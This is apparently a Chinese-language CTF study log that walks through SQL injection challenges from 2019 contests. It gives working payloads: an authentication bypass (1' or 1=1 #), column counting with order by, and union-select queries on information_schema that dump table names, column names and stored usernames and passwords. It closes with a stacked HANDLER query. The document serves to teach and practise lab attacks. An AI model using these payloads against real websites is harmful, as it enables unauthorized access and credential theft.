CTF_Day2
[极客大挑战 2019]EasySQL
这道题是非常基础的sql注入
进去之后就是一个登录界面,输入万能钥匙就能实现查到flag
1' or 1=1 # //用户名 1 //密码随意[极客大挑战 2019]LoveSQL
这个也是sql注入的一种是命令执行注入
用万能钥匙注入后确实可以实现绕过,说明存在注入漏洞
但现在访问后没有flag,后尝试从别的角度入手,也许是还存在一个数据库可以访问,
从某一方面将union来实现访问一个网站后再访问另一个网站,也就是用union来拼接我们真正想要访问的;
但再用union之前先要知道访问的表里面有哪些是会出现回显的字段,
所以要先查表来就确定有几个字段
1' order by 4 #order by 列名;
order by原本是 MySQL 原生语法:对查询结果按照某一列排序。
它再sql注入时可以用来尝试测试有多少列,由于他的特性,在列数超过实际的列数时就会导致出现错误,可以这一特点来测试有多少列
当我用order by 3时会出现
代表访问不了而不是报错
代表当4时就已经超出了列数,表明要表内就是3列
后就是需要查阅相关的回显的是哪几列就输入一下内容
1' union select 1,2,3#让后在后端运行的代码就是
select * from 表 where username='1'union select 1,2,3#' and password='1'就是这样可以就看到是2和3位置是回显的,
可以看到3的字段都是password,尝试去进行爆破
select id,username,password from geekuser where username='$用户输入' and password='$pass'select id,username,password from geekuser where username='1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() #' and password='$pass'拼接后就是这个样子,
就呢个够查到表的名称,看到另一个是l0ve1ysq1
1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'#1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1#不敢想现在的flag都是全随机的
[强网杯 2019]随便注
1';HANDLER FlagHere OPEN; HANDLER FlagHere READ FIRST; HANDLER FlagHere CLOSE;#